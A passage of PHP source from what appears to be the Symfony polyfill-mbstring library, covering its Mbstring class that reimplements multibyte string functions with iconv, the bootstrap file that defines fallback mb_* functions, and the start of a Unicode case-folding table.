mb_encode_numericentity - Encode character to HTML numeric string reference * - mb_convert_case - Perform case folding on a string * - mb_detect_encoding - Detect character encoding * - mb_get_info - Get internal settings of mbstring * - mb_http_input - Detect HTTP input character encoding * - mb_http_output - Set/Get HTTP output character encoding * - mb_internal_encoding - Set/Get internal character encoding * - mb_list_encodings - Returns an array of all supported encodings * - mb_ord - Returns the Unicode code point of a character * - mb_output_handler - Callback function converts character encoding in output buffer * - mb_scrub - Replaces ill-formed byte sequences with substitute characters * - mb_strlen - Get string length * - mb_strpos - Find position of first occurrence of string in a string * - mb_strrpos - Find position of last occurrence of a string in a string * - mb_str_split - Convert a string to an array * - mb_strtolower - Make a string lowercase * - mb_strtoupper - Make a string uppercase * - mb_substitute_character - Set/Get substitution character * - mb_substr - Get part of string * - mb_stripos - Finds position of first occurrence of a string within another, case insensitive * - mb_stristr - Finds first occurrence of a string within another, case insensitive * - mb_strrchr - Finds the last occurrence of a character in a string within another * - mb_strrichr - Finds the last occurrence of a character in a string within another, case insensitive * - mb_strripos - Finds position of last occurrence of a string within another, case insensitive * - mb_strstr - Finds first occurrence of a string within another * - mb_strwidth - Return width of string * - mb_substr_count - Count the number of substring occurrences * * Not implemented: * - mb_convert_kana - Convert "kana" one from another ("zen-kaku", "han-kaku" and more) * - mb_ereg_* - Regular expression with multibyte support * - mb_parse_str - Parse GET/POST/COOKIE data and set global variable * - mb_preferred_mime_name - Get MIME charset string * - mb_regex_encoding - Returns current encoding for multibyte regex as string * - mb_regex_set_options - Set/Get the default options for mbregex functions * - mb_send_mail - Send encoded mail * - mb_split - Split multibyte string using regular expression * - mb_strcut - Get part of string * - mb_strimwidth - Get truncated string with specified width * * @author Nicolas Grekas * * @internal */ final class Mbstring { public const MB_CASE_FOLD = \PHP_INT_MAX; private const SIMPLE_CASE_FOLD = [ ['µ', 'ſ', "\xCD\x85", 'ς', "\xCF\x90", "\xCF\x91", "\xCF\x95", "\xCF\x96", "\xCF\xB0", "\xCF\xB1", "\xCF\xB5", "\xE1\xBA\x9B", "\xE1\xBE\xBE"], ['μ', 's', 'ι', 'σ', 'β', 'θ', 'φ', 'π', 'κ', 'ρ', 'ε', "\xE1\xB9\xA1", 'ι'], ]; private static $encodingList = ['ASCII', 'UTF-8']; private static $language = 'neutral'; private static $internalEncoding = 'UTF-8'; public static function mb_convert_encoding($s, $toEncoding, $fromEncoding = null) { if (\is_array($fromEncoding) || (null !== $fromEncoding && false !== strpos($fromEncoding, ','))) { $fromEncoding = self::mb_detect_encoding($s, $fromEncoding); } else { $fromEncoding = self::getEncoding($fromEncoding); } $toEncoding = self::getEncoding($toEncoding); if ('BASE64' === $fromEncoding) { $s = base64_decode($s); $fromEncoding = $toEncoding; } if ('BASE64' === $toEncoding) { return base64_encode($s); } if ('HTML-ENTITIES' === $toEncoding || 'HTML' === $toEncoding) { if ('HTML-ENTITIES' === $fromEncoding || 'HTML' === $fromEncoding) { $fromEncoding = 'Windows-1252'; } if ('UTF-8' !== $fromEncoding) { $s = iconv($fromEncoding, 'UTF-8//IGNORE', $s); } return preg_replace_callback('/[\x80-\xFF]+/', [__CLASS__, 'html_encoding_callback'], $s); } if ('HTML-ENTITIES' === $fromEncoding) { $s = html_entity_decode($s, \ENT_COMPAT, 'UTF-8'); $fromEncoding = 'UTF-8'; } return iconv($fromEncoding, $toEncoding.'//IGNORE', $s); } public static function mb_convert_variables($toEncoding, $fromEncoding, &...$vars) { $ok = true; array_walk_recursive($vars, function (&$v) use (&$ok, $toEncoding, $fromEncoding) { if (false === $v = self::mb_convert_encoding($v, $toEncoding, $fromEncoding)) { $ok = false; } }); return $ok ? $fromEncoding : false; } public static function mb_decode_mimeheader($s) { return iconv_mime_decode($s, 2, self::$internalEncoding); } public static function mb_encode_mimeheader($s, $charset = null, $transferEncoding = null, $linefeed = null, $indent = null) { trigger_error('mb_encode_mimeheader() is bugged. Please use iconv_mime_encode() instead', \E_USER_WARNING); } public static function mb_decode_numericentity($s, $convmap, $encoding = null) { if (null !== $s && !\is_scalar($s) && !(\is_object($s) && method_exists($s, '__toString'))) { trigger_error('mb_decode_numericentity() expects parameter 1 to be string, '.\gettype($s).' given', \E_USER_WARNING); return null; } if (!\is_array($convmap) || (80000 > \PHP_VERSION_ID && !$convmap)) { return false; } if (null !== $encoding && !\is_scalar($encoding)) { trigger_error('mb_decode_numericentity() expects parameter 3 to be string, '.\gettype($s).' given', \E_USER_WARNING); return ''; // Instead of null (cf. mb_encode_numericentity). } $s = (string) $s; if ('' === $s) { return ''; } $encoding = self::getEncoding($encoding); if ('UTF-8' === $encoding) { $encoding = null; if (!preg_match('//u', $s)) { $s = @iconv('UTF-8', 'UTF-8//IGNORE', $s); } } else { $s = iconv($encoding, 'UTF-8//IGNORE', $s); } $cnt = floor(\count($convmap) / 4) * 4; for ($i = 0; $i < $cnt; $i += 4) { // collector_decode_htmlnumericentity ignores $convmap[$i + 3] $convmap[$i] += $convmap[$i + 2]; $convmap[$i + 1] += $convmap[$i + 2]; } $s = preg_replace_callback('/&#(?:0*([0-9]+)|x0*([0-9a-fA-F]+))(?!&);?/', function (array $m) use ($cnt, $convmap) { $c = isset($m[2]) ? (int) hexdec($m[2]) : $m[1]; for ($i = 0; $i < $cnt; $i += 4) { if ($c >= $convmap[$i] && $c <= $convmap[$i + 1]) { return self::mb_chr($c - $convmap[$i + 2]); } } return $m[0]; }, $s); if (null === $encoding) { return $s; } return iconv('UTF-8', $encoding.'//IGNORE', $s); } public static function mb_encode_numericentity($s, $convmap, $encoding = null, $is_hex = false) { if (null !== $s && !\is_scalar($s) && !(\is_object($s) && method_exists($s, '__toString'))) { trigger_error('mb_encode_numericentity() expects parameter 1 to be string, '.\gettype($s).' given', \E_USER_WARNING); return null; } if (!\is_array($convmap) || (80000 > \PHP_VERSION_ID && !$convmap)) { return false; } if (null !== $encoding && !\is_scalar($encoding)) { trigger_error('mb_encode_numericentity() expects parameter 3 to be string, '.\gettype($s).' given', \E_USER_WARNING); return null; // Instead of '' (cf. mb_decode_numericentity). } if (null !== $is_hex && !\is_scalar($is_hex)) { trigger_error('mb_encode_numericentity() expects parameter 4 to be boolean, '.\gettype($s).' given', \E_USER_WARNING); return null; } $s = (string) $s; if ('' === $s) { return ''; } $encoding = self::getEncoding($encoding); if ('UTF-8' === $encoding) { $encoding = null; if (!preg_match('//u', $s)) { $s = @iconv('UTF-8', 'UTF-8//IGNORE', $s); } } else { $s = iconv($encoding, 'UTF-8//IGNORE', $s); } static $ulenMask = ["\xC0" => 2, "\xD0" => 2, "\xE0" => 3, "\xF0" => 4]; $cnt = floor(\count($convmap) / 4) * 4; $i = 0; $len = \strlen($s); $result = ''; while ($i < $len) { $ulen = $s[$i] < "\x80" ? 1 : $ulenMask[$s[$i] & "\xF0"]; $uchr = substr($s, $i, $ulen); $i += $ulen; $c = self::mb_ord($uchr); for ($j = 0; $j < $cnt; $j += 4) { if ($c >= $convmap[$j] && $c <= $convmap[$j + 1]) { $cOffset = ($c + $convmap[$j + 2]) & $convmap[$j + 3]; $result .= $is_hex ? sprintf('&#x%X;', $cOffset) : '&#'.$cOffset.';'; continue 2; } } $result .= $uchr; } if (null === $encoding) { return $result; } return iconv('UTF-8', $encoding.'//IGNORE', $result); } public static function mb_convert_case($s, $mode, $encoding = null) { $s = (string) $s; if ('' === $s) { return ''; } $encoding = self::getEncoding($encoding); if ('UTF-8' === $encoding) { $encoding = null; if (!preg_match('//u', $s)) { $s = @iconv('UTF-8', 'UTF-8//IGNORE', $s); } } else { $s = iconv($encoding, 'UTF-8//IGNORE', $s); } if (\MB_CASE_TITLE == $mode) { static $titleRegexp = null; if (null === $titleRegexp) { $titleRegexp = self::getData('titleCaseRegexp'); } $s = preg_replace_callback($titleRegexp, [__CLASS__, 'title_case'], $s); } else { if (\MB_CASE_UPPER == $mode) { static $upper = null; if (null === $upper) { $upper = self::getData('upperCase'); } $map = $upper; } else { if (self::MB_CASE_FOLD === $mode) { static $caseFolding = null; if (null === $caseFolding) { $caseFolding = self::getData('caseFolding'); } $s = strtr($s, $caseFolding); } static $lower = null; if (null === $lower) { $lower = self::getData('lowerCase'); } $map = $lower; } static $ulenMask = ["\xC0" => 2, "\xD0" => 2, "\xE0" => 3, "\xF0" => 4]; $i = 0; $len = \strlen($s); while ($i < $len) { $ulen = $s[$i] < "\x80" ? 1 : $ulenMask[$s[$i] & "\xF0"]; $uchr = substr($s, $i, $ulen); $i += $ulen; if (isset($map[$uchr])) { $uchr = $map[$uchr]; $nlen = \strlen($uchr); if ($nlen == $ulen) { $nlen = $i; do { $s[--$nlen] = $uchr[--$ulen]; } while ($ulen); } else { $s = substr_replace($s, $uchr, $i - $ulen, $ulen); $len += $nlen - $ulen; $i += $nlen - $ulen; } } } } if (null === $encoding) { return $s; } return iconv('UTF-8', $encoding.'//IGNORE', $s); } public static function mb_internal_encoding($encoding = null) { if (null === $encoding) { return self::$internalEncoding; } $normalizedEncoding = self::getEncoding($encoding); if ('UTF-8' === $normalizedEncoding || false !== @iconv($normalizedEncoding, $normalizedEncoding, ' ')) { self::$internalEncoding = $normalizedEncoding; return true; } if (80000 > \PHP_VERSION_ID) { return false; } throw new \ValueError(sprintf('Argument #1 ($encoding) must be a valid encoding, "%s" given', $encoding)); } public static function mb_language($lang = null) { if (null === $lang) { return self::$language; } switch ($normalizedLang = strtolower($lang)) { case 'uni': case 'neutral': self::$language = $normalizedLang; return true; } if (80000 > \PHP_VERSION_ID) { return false; } throw new \ValueError(sprintf('Argument #1 ($language) must be a valid language, "%s" given', $lang)); } public static function mb_list_encodings() { return ['UTF-8']; } public static function mb_encoding_aliases($encoding) { switch (strtoupper($encoding)) { case 'UTF8': case 'UTF-8': return ['utf8']; } return false; } public static function mb_check_encoding($var = null, $encoding = null) { if (PHP_VERSION_ID < 70200 && \is_array($var)) { trigger_error('mb_check_encoding() expects parameter 1 to be string, array given', \E_USER_WARNING); return null; } if (null === $encoding) { if (null === $var) { return false; } $encoding = self::$internalEncoding; } if (!\is_array($var)) { return self::mb_detect_encoding($var, [$encoding]) || false !== @iconv($encoding, $encoding, $var); } foreach ($var as $key => $value) { if (!self::mb_check_encoding($key, $encoding)) { return false; } if (!self::mb_check_encoding($value, $encoding)) { return false; } } return true; } public static function mb_detect_encoding($str, $encodingList = null, $strict = false) { if (null === $encodingList) { $encodingList = self::$encodingList; } else { if (!\is_array($encodingList)) { $encodingList = array_map('trim', explode(',', $encodingList)); } $encodingList = array_map('strtoupper', $encodingList); } foreach ($encodingList as $enc) { switch ($enc) { case 'ASCII': if (!preg_match('/[\x80-\xFF]/', $str)) { return $enc; } break; case 'UTF8': case 'UTF-8': if (preg_match('//u', $str)) { return 'UTF-8'; } break; default: if (0 === strncmp($enc, 'ISO-8859-', 9)) { return $enc; } } } return false; } public static function mb_detect_order($encodingList = null) { if (null === $encodingList) { return self::$encodingList; } if (!\is_array($encodingList)) { $encodingList = array_map('trim', explode(',', $encodingList)); } $encodingList = array_map('strtoupper', $encodingList); foreach ($encodingList as $enc) { switch ($enc) { default: if (strncmp($enc, 'ISO-8859-', 9)) { return false; } // no break case 'ASCII': case 'UTF8': case 'UTF-8': } } self::$encodingList = $encodingList; return true; } public static function mb_strlen($s, $encoding = null) { $encoding = self::getEncoding($encoding); if ('CP850' === $encoding || 'ASCII' === $encoding) { return \strlen($s); } return @iconv_strlen($s, $encoding); } public static function mb_strpos($haystack, $needle, $offset = 0, $encoding = null) { $encoding = self::getEncoding($encoding); if ('CP850' === $encoding || 'ASCII' === $encoding) { return strpos($haystack, $needle, $offset); } $needle = (string) $needle; if ('' === $needle) { if (80000 > \PHP_VERSION_ID) { trigger_error(__METHOD__.': Empty delimiter', \E_USER_WARNING); return false; } return 0; } return iconv_strpos($haystack, $needle, $offset, $encoding); } public static function mb_strrpos($haystack, $needle, $offset = 0, $encoding = null) { $encoding = self::getEncoding($encoding); if ('CP850' === $encoding || 'ASCII' === $encoding) { return strrpos($haystack, $needle, $offset); } if ($offset != (int) $offset) { $offset = 0; } elseif ($offset = (int) $offset) { if ($offset < 0) { if (0 > $offset += self::mb_strlen($needle)) { $haystack = self::mb_substr($haystack, 0, $offset, $encoding); } $offset = 0; } else { $haystack = self::mb_substr($haystack, $offset, 2147483647, $encoding); } } $pos = '' !== $needle || 80000 > \PHP_VERSION_ID ? iconv_strrpos($haystack, $needle, $encoding) : self::mb_strlen($haystack, $encoding); return false !== $pos ? $offset + $pos : false; } public static function mb_str_split($string, $split_length = 1, $encoding = null) { if (null !== $string && !\is_scalar($string) && !(\is_object($string) && method_exists($string, '__toString'))) { trigger_error('mb_str_split() expects parameter 1 to be string, '.\gettype($string).' given', \E_USER_WARNING); return null; } if (1 > $split_length = (int) $split_length) { if (80000 > \PHP_VERSION_ID) { trigger_error('The length of each segment must be greater than zero', \E_USER_WARNING); return false; } throw new \ValueError('Argument #2 ($length) must be greater than 0'); } if (null === $encoding) { $encoding = mb_internal_encoding(); } if ('UTF-8' === $encoding = self::getEncoding($encoding)) { $rx = '/('; while (65535 < $split_length) { $rx .= '.{65535}'; $split_length -= 65535; } $rx .= '.{'.$split_length.'})/us'; return preg_split($rx, $string, -1, \PREG_SPLIT_DELIM_CAPTURE | \PREG_SPLIT_NO_EMPTY); } $result = []; $length = mb_strlen($string, $encoding); for ($i = 0; $i < $length; $i += $split_length) { $result[] = mb_substr($string, $i, $split_length, $encoding); } return $result; } public static function mb_strtolower($s, $encoding = null) { return self::mb_convert_case($s, \MB_CASE_LOWER, $encoding); } public static function mb_strtoupper($s, $encoding = null) { return self::mb_convert_case($s, \MB_CASE_UPPER, $encoding); } public static function mb_substitute_character($c = null) { if (null === $c) { return 'none'; } if (0 === strcasecmp($c, 'none')) { return true; } if (80000 > \PHP_VERSION_ID) { return false; } if (\is_int($c) || 'long' === $c || 'entity' === $c) { return false; } throw new \ValueError('Argument #1 ($substitute_character) must be "none", "long", "entity" or a valid codepoint'); } public static function mb_substr($s, $start, $length = null, $encoding = null) { $encoding = self::getEncoding($encoding); if ('CP850' === $encoding || 'ASCII' === $encoding) { return (string) substr($s, $start, null === $length ? 2147483647 : $length); } if ($start < 0) { $start = iconv_strlen($s, $encoding) + $start; if ($start < 0) { $start = 0; } } if (null === $length) { $length = 2147483647; } elseif ($length < 0) { $length = iconv_strlen($s, $encoding) + $length - $start; if ($length < 0) { return ''; } } return (string) iconv_substr($s, $start, $length, $encoding); } public static function mb_stripos($haystack, $needle, $offset = 0, $encoding = null) { [$haystack, $needle] = str_replace(self::SIMPLE_CASE_FOLD[0], self::SIMPLE_CASE_FOLD[1], [ self::mb_convert_case($haystack, \MB_CASE_LOWER, $encoding), self::mb_convert_case($needle, \MB_CASE_LOWER, $encoding), ]); return self::mb_strpos($haystack, $needle, $offset, $encoding); } public static function mb_stristr($haystack, $needle, $part = false, $encoding = null) { $pos = self::mb_stripos($haystack, $needle, 0, $encoding); return self::getSubpart($pos, $part, $haystack, $encoding); } public static function mb_strrchr($haystack, $needle, $part = false, $encoding = null) { $encoding = self::getEncoding($encoding); if ('CP850' === $encoding || 'ASCII' === $encoding) { $pos = strrpos($haystack, $needle); } else { $needle = self::mb_substr($needle, 0, 1, $encoding); $pos = iconv_strrpos($haystack, $needle, $encoding); } return self::getSubpart($pos, $part, $haystack, $encoding); } public static function mb_strrichr($haystack, $needle, $part = false, $encoding = null) { $needle = self::mb_substr($needle, 0, 1, $encoding); $pos = self::mb_strripos($haystack, $needle, $encoding); return self::getSubpart($pos, $part, $haystack, $encoding); } public static function mb_strripos($haystack, $needle, $offset = 0, $encoding = null) { $haystack = self::mb_convert_case($haystack, \MB_CASE_LOWER, $encoding); $needle = self::mb_convert_case($needle, \MB_CASE_LOWER, $encoding); $haystack = str_replace(self::SIMPLE_CASE_FOLD[0], self::SIMPLE_CASE_FOLD[1], $haystack); $needle = str_replace(self::SIMPLE_CASE_FOLD[0], self::SIMPLE_CASE_FOLD[1], $needle); return self::mb_strrpos($haystack, $needle, $offset, $encoding); } public static function mb_strstr($haystack, $needle, $part = false, $encoding = null) { $pos = strpos($haystack, $needle); if (false === $pos) { return false; } if ($part) { return substr($haystack, 0, $pos); } return substr($haystack, $pos); } public static function mb_get_info($type = 'all') { $info = [ 'internal_encoding' => self::$internalEncoding, 'http_output' => 'pass', 'http_output_conv_mimetypes' => '^(text/|application/xhtml\+xml)', 'func_overload' => 0, 'func_overload_list' => 'no overload', 'mail_charset' => 'UTF-8', 'mail_header_encoding' => 'BASE64', 'mail_body_encoding' => 'BASE64', 'illegal_chars' => 0, 'encoding_translation' => 'Off', 'language' => self::$language, 'detect_order' => self::$encodingList, 'substitute_character' => 'none', 'strict_detection' => 'Off', ]; if ('all' === $type) { return $info; } if (isset($info[$type])) { return $info[$type]; } return false; } public static function mb_http_input($type = '') { return false; } public static function mb_http_output($encoding = null) { return null !== $encoding ? 'pass' === $encoding : 'pass'; } public static function mb_strwidth($s, $encoding = null) { $encoding = self::getEncoding($encoding); if ('UTF-8' !== $encoding) { $s = iconv($encoding, 'UTF-8//IGNORE', $s); } $s = preg_replace('/[\x{1100}-\x{115F}\x{2329}\x{232A}\x{2E80}-\x{303E}\x{3040}-\x{A4CF}\x{AC00}-\x{D7A3}\x{F900}-\x{FAFF}\x{FE10}-\x{FE19}\x{FE30}-\x{FE6F}\x{FF00}-\x{FF60}\x{FFE0}-\x{FFE6}\x{20000}-\x{2FFFD}\x{30000}-\x{3FFFD}]/u', '', $s, -1, $wide); return ($wide << 1) + iconv_strlen($s, 'UTF-8'); } public static function mb_substr_count($haystack, $needle, $encoding = null) { return substr_count($haystack, $needle); } public static function mb_output_handler($contents, $status) { return $contents; } public static function mb_chr($code, $encoding = null) { if (0x80 > $code %= 0x200000) { $s = \chr($code); } elseif (0x800 > $code) { $s = \chr(0xC0 | $code >> 6).\chr(0x80 | $code & 0x3F); } elseif (0x10000 > $code) { $s = \chr(0xE0 | $code >> 12).\chr(0x80 | $code >> 6 & 0x3F).\chr(0x80 | $code & 0x3F); } else { $s = \chr(0xF0 | $code >> 18).\chr(0x80 | $code >> 12 & 0x3F).\chr(0x80 | $code >> 6 & 0x3F).\chr(0x80 | $code & 0x3F); } if ('UTF-8' !== $encoding = self::getEncoding($encoding)) { $s = mb_convert_encoding($s, $encoding, 'UTF-8'); } return $s; } public static function mb_ord($s, $encoding = null) { if ('UTF-8' !== $encoding = self::getEncoding($encoding)) { $s = mb_convert_encoding($s, 'UTF-8', $encoding); } if (1 === \strlen($s)) { return \ord($s); } $code = ($s = unpack('C*', substr($s, 0, 4))) ? $s[1] : 0; if (0xF0 <= $code) { return (($code - 0xF0) << 18) + (($s[2] - 0x80) << 12) + (($s[3] - 0x80) << 6) + $s[4] - 0x80; } if (0xE0 <= $code) { return (($code - 0xE0) << 12) + (($s[2] - 0x80) << 6) + $s[3] - 0x80; } if (0xC0 <= $code) { return (($code - 0xC0) << 6) + $s[2] - 0x80; } return $code; } public static function mb_str_pad(string $string, int $length, string $pad_string = ' ', int $pad_type = \STR_PAD_RIGHT, string $encoding = null): string { if (!\in_array($pad_type, [\STR_PAD_RIGHT, \STR_PAD_LEFT, \STR_PAD_BOTH], true)) { throw new \ValueError('mb_str_pad(): Argument #4 ($pad_type) must be STR_PAD_LEFT, STR_PAD_RIGHT, or STR_PAD_BOTH'); } if (null === $encoding) { $encoding = self::mb_internal_encoding(); } try { $validEncoding = @self::mb_check_encoding('', $encoding); } catch (\ValueError $e) { throw new \ValueError(sprintf('mb_str_pad(): Argument #5 ($encoding) must be a valid encoding, "%s" given', $encoding)); } // BC for PHP 7.3 and lower if (!$validEncoding) { throw new \ValueError(sprintf('mb_str_pad(): Argument #5 ($encoding) must be a valid encoding, "%s" given', $encoding)); } if (self::mb_strlen($pad_string, $encoding) <= 0) { throw new \ValueError('mb_str_pad(): Argument #3 ($pad_string) must be a non-empty string'); } $paddingRequired = $length - self::mb_strlen($string, $encoding); if ($paddingRequired < 1) { return $string; } switch ($pad_type) { case \STR_PAD_LEFT: return self::mb_substr(str_repeat($pad_string, $paddingRequired), 0, $paddingRequired, $encoding).$string; case \STR_PAD_RIGHT: return $string.self::mb_substr(str_repeat($pad_string, $paddingRequired), 0, $paddingRequired, $encoding); default: $leftPaddingLength = floor($paddingRequired / 2); $rightPaddingLength = $paddingRequired - $leftPaddingLength; return self::mb_substr(str_repeat($pad_string, $leftPaddingLength), 0, $leftPaddingLength, $encoding).$string.self::mb_substr(str_repeat($pad_string, $rightPaddingLength), 0, $rightPaddingLength, $encoding); } } private static function getSubpart($pos, $part, $haystack, $encoding) { if (false === $pos) { return false; } if ($part) { return self::mb_substr($haystack, 0, $pos, $encoding); } return self::mb_substr($haystack, $pos, null, $encoding); } private static function html_encoding_callback(array $m) { $i = 1; $entities = ''; $m = unpack('C*', htmlentities($m[0], \ENT_COMPAT, 'UTF-8')); while (isset($m[$i])) { if (0x80 > $m[$i]) { $entities .= \chr($m[$i++]); continue; } if (0xF0 <= $m[$i]) { $c = (($m[$i++] - 0xF0) << 18) + (($m[$i++] - 0x80) << 12) + (($m[$i++] - 0x80) << 6) + $m[$i++] - 0x80; } elseif (0xE0 <= $m[$i]) { $c = (($m[$i++] - 0xE0) << 12) + (($m[$i++] - 0x80) << 6) + $m[$i++] - 0x80; } else { $c = (($m[$i++] - 0xC0) << 6) + $m[$i++] - 0x80; } $entities .= '&#'.$c.';'; } return $entities; } private static function title_case(array $s) { return self::mb_convert_case($s[1], \MB_CASE_UPPER, 'UTF-8').self::mb_convert_case($s[2], \MB_CASE_LOWER, 'UTF-8'); } private static function getData($file) { if (file_exists($file = __DIR__.'/Resources/unidata/'.$file.'.php')) { return require $file; } return false; } private static function getEncoding($encoding) { if (null === $encoding) { return self::$internalEncoding; } if ('UTF-8' === $encoding) { return 'UTF-8'; } $encoding = strtoupper($encoding); if ('8BIT' === $encoding || 'BINARY' === $encoding) { return 'CP850'; } if ('UTF8' === $encoding) { return 'UTF-8'; } return $encoding; } } polyfill-mbstring/bootstrap.php000064400000016526151113512120012751 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ use Symfony\Polyfill\Mbstring as p; if (\PHP_VERSION_ID >= 80000) { return require __DIR__.'/bootstrap80.php'; } if (!function_exists('mb_convert_encoding')) { function mb_convert_encoding($string, $to_encoding, $from_encoding = null) { return p\Mbstring::mb_convert_encoding($string, $to_encoding, $from_encoding); } } if (!function_exists('mb_decode_mimeheader')) { function mb_decode_mimeheader($string) { return p\Mbstring::mb_decode_mimeheader($string); } } if (!function_exists('mb_encode_mimeheader')) { function mb_encode_mimeheader($string, $charset = null, $transfer_encoding = null, $newline = "\r\n", $indent = 0) { return p\Mbstring::mb_encode_mimeheader($string, $charset, $transfer_encoding, $newline, $indent); } } if (!function_exists('mb_decode_numericentity')) { function mb_decode_numericentity($string, $map, $encoding = null) { return p\Mbstring::mb_decode_numericentity($string, $map, $encoding); } } if (!function_exists('mb_encode_numericentity')) { function mb_encode_numericentity($string, $map, $encoding = null, $hex = false) { return p\Mbstring::mb_encode_numericentity($string, $map, $encoding, $hex); } } if (!function_exists('mb_convert_case')) { function mb_convert_case($string, $mode, $encoding = null) { return p\Mbstring::mb_convert_case($string, $mode, $encoding); } } if (!function_exists('mb_internal_encoding')) { function mb_internal_encoding($encoding = null) { return p\Mbstring::mb_internal_encoding($encoding); } } if (!function_exists('mb_language')) { function mb_language($language = null) { return p\Mbstring::mb_language($language); } } if (!function_exists('mb_list_encodings')) { function mb_list_encodings() { return p\Mbstring::mb_list_encodings(); } } if (!function_exists('mb_encoding_aliases')) { function mb_encoding_aliases($encoding) { return p\Mbstring::mb_encoding_aliases($encoding); } } if (!function_exists('mb_check_encoding')) { function mb_check_encoding($value = null, $encoding = null) { return p\Mbstring::mb_check_encoding($value, $encoding); } } if (!function_exists('mb_detect_encoding')) { function mb_detect_encoding($string, $encodings = null, $strict = false) { return p\Mbstring::mb_detect_encoding($string, $encodings, $strict); } } if (!function_exists('mb_detect_order')) { function mb_detect_order($encoding = null) { return p\Mbstring::mb_detect_order($encoding); } } if (!function_exists('mb_parse_str')) { function mb_parse_str($string, &$result = []) { parse_str($string, $result); return (bool) $result; } } if (!function_exists('mb_strlen')) { function mb_strlen($string, $encoding = null) { return p\Mbstring::mb_strlen($string, $encoding); } } if (!function_exists('mb_strpos')) { function mb_strpos($haystack, $needle, $offset = 0, $encoding = null) { return p\Mbstring::mb_strpos($haystack, $needle, $offset, $encoding); } } if (!function_exists('mb_strtolower')) { function mb_strtolower($string, $encoding = null) { return p\Mbstring::mb_strtolower($string, $encoding); } } if (!function_exists('mb_strtoupper')) { function mb_strtoupper($string, $encoding = null) { return p\Mbstring::mb_strtoupper($string, $encoding); } } if (!function_exists('mb_substitute_character')) { function mb_substitute_character($substitute_character = null) { return p\Mbstring::mb_substitute_character($substitute_character); } } if (!function_exists('mb_substr')) { function mb_substr($string, $start, $length = 2147483647, $encoding = null) { return p\Mbstring::mb_substr($string, $start, $length, $encoding); } } if (!function_exists('mb_stripos')) { function mb_stripos($haystack, $needle, $offset = 0, $encoding = null) { return p\Mbstring::mb_stripos($haystack, $needle, $offset, $encoding); } } if (!function_exists('mb_stristr')) { function mb_stristr($haystack, $needle, $before_needle = false, $encoding = null) { return p\Mbstring::mb_stristr($haystack, $needle, $before_needle, $encoding); } } if (!function_exists('mb_strrchr')) { function mb_strrchr($haystack, $needle, $before_needle = false, $encoding = null) { return p\Mbstring::mb_strrchr($haystack, $needle, $before_needle, $encoding); } } if (!function_exists('mb_strrichr')) { function mb_strrichr($haystack, $needle, $before_needle = false, $encoding = null) { return p\Mbstring::mb_strrichr($haystack, $needle, $before_needle, $encoding); } } if (!function_exists('mb_strripos')) { function mb_strripos($haystack, $needle, $offset = 0, $encoding = null) { return p\Mbstring::mb_strripos($haystack, $needle, $offset, $encoding); } } if (!function_exists('mb_strrpos')) { function mb_strrpos($haystack, $needle, $offset = 0, $encoding = null) { return p\Mbstring::mb_strrpos($haystack, $needle, $offset, $encoding); } } if (!function_exists('mb_strstr')) { function mb_strstr($haystack, $needle, $before_needle = false, $encoding = null) { return p\Mbstring::mb_strstr($haystack, $needle, $before_needle, $encoding); } } if (!function_exists('mb_get_info')) { function mb_get_info($type = 'all') { return p\Mbstring::mb_get_info($type); } } if (!function_exists('mb_http_output')) { function mb_http_output($encoding = null) { return p\Mbstring::mb_http_output($encoding); } } if (!function_exists('mb_strwidth')) { function mb_strwidth($string, $encoding = null) { return p\Mbstring::mb_strwidth($string, $encoding); } } if (!function_exists('mb_substr_count')) { function mb_substr_count($haystack, $needle, $encoding = null) { return p\Mbstring::mb_substr_count($haystack, $needle, $encoding); } } if (!function_exists('mb_output_handler')) { function mb_output_handler($string, $status) { return p\Mbstring::mb_output_handler($string, $status); } } if (!function_exists('mb_http_input')) { function mb_http_input($type = null) { return p\Mbstring::mb_http_input($type); } } if (!function_exists('mb_convert_variables')) { function mb_convert_variables($to_encoding, $from_encoding, &...$vars) { return p\Mbstring::mb_convert_variables($to_encoding, $from_encoding, ...$vars); } } if (!function_exists('mb_ord')) { function mb_ord($string, $encoding = null) { return p\Mbstring::mb_ord($string, $encoding); } } if (!function_exists('mb_chr')) { function mb_chr($codepoint, $encoding = null) { return p\Mbstring::mb_chr($codepoint, $encoding); } } if (!function_exists('mb_scrub')) { function mb_scrub($string, $encoding = null) { $encoding = null === $encoding ? mb_internal_encoding() : $encoding; return mb_convert_encoding($string, $encoding, $encoding); } } if (!function_exists('mb_str_split')) { function mb_str_split($string, $length = 1, $encoding = null) { return p\Mbstring::mb_str_split($string, $length, $encoding); } } if (!function_exists('mb_str_pad')) { function mb_str_pad(string $string, int $length, string $pad_string = ' ', int $pad_type = STR_PAD_RIGHT, ?string $encoding = null): string { return p\Mbstring::mb_str_pad($string, $length, $pad_string, $pad_type, $encoding); } } if (extension_loaded('mbstring')) { return; } if (!defined('MB_CASE_UPPER')) { define('MB_CASE_UPPER', 0); } if (!defined('MB_CASE_LOWER')) { define('MB_CASE_LOWER', 1); } if (!defined('MB_CASE_TITLE')) { define('MB_CASE_TITLE', 2); } polyfill-mbstring/Resources/unidata/caseFolding.php000064400000004541151113512120016543 0ustar00 'i̇', 'µ' => 'μ', 'ſ' => 's', 'ͅ' => 'ι', 'ς' => 'σ', 'ϐ' => 'β', 'ϑ' => 'θ', 'ϕ' => 'φ', 'ϖ' => 'π', 'ϰ' => 'κ', 'ϱ' => 'ρ', 'ϵ' => 'ε', 'ẛ' => 'ṡ', 'ι' => 'ι', 'ß' => 'ss', 'ʼn' => 'ʼn', 'ǰ' => 'ǰ', 'ΐ' => 'ΐ', 'ΰ' => 'ΰ', 'և' => 'եւ', 'ẖ' => 'ẖ', 'ẗ' => 'ẗ', 'ẘ' => 'ẘ', 'ẙ' => 'ẙ', 'ẚ' => 'aʾ', 'ẞ' => 'ss', 'ὐ' => 'ὐ', 'ὒ' => 'ὒ', 'ὔ' => 'ὔ', 'ὖ' => 'ὖ', 'ᾀ' => 'ἀι', 'ᾁ' => 'ἁι', 'ᾂ' => 'ἂι', 'ᾃ' => 'ἃι', 'ᾄ' => 'ἄι', 'ᾅ' => 'ἅι', 'ᾆ' => 'ἆι', 'ᾇ' => 'ἇι', 'ᾈ' => 'ἀι', 'ᾉ' => 'ἁι', 'ᾊ' => 'ἂι', 'ᾋ' => 'ἃι', 'ᾌ' => 'ἄι', 'ᾍ' => 'ἅι', 'ᾎ' => 'ἆι', 'ᾏ' => 'ἇι', 'ᾐ' => 'ἠι', 'ᾑ' => 'ἡι', 'ᾒ' => 'ἢι', 'ᾓ' => 'ἣι', 'ᾔ' => 'ἤι', 'ᾕ' => 'ἥι', 'ᾖ' => 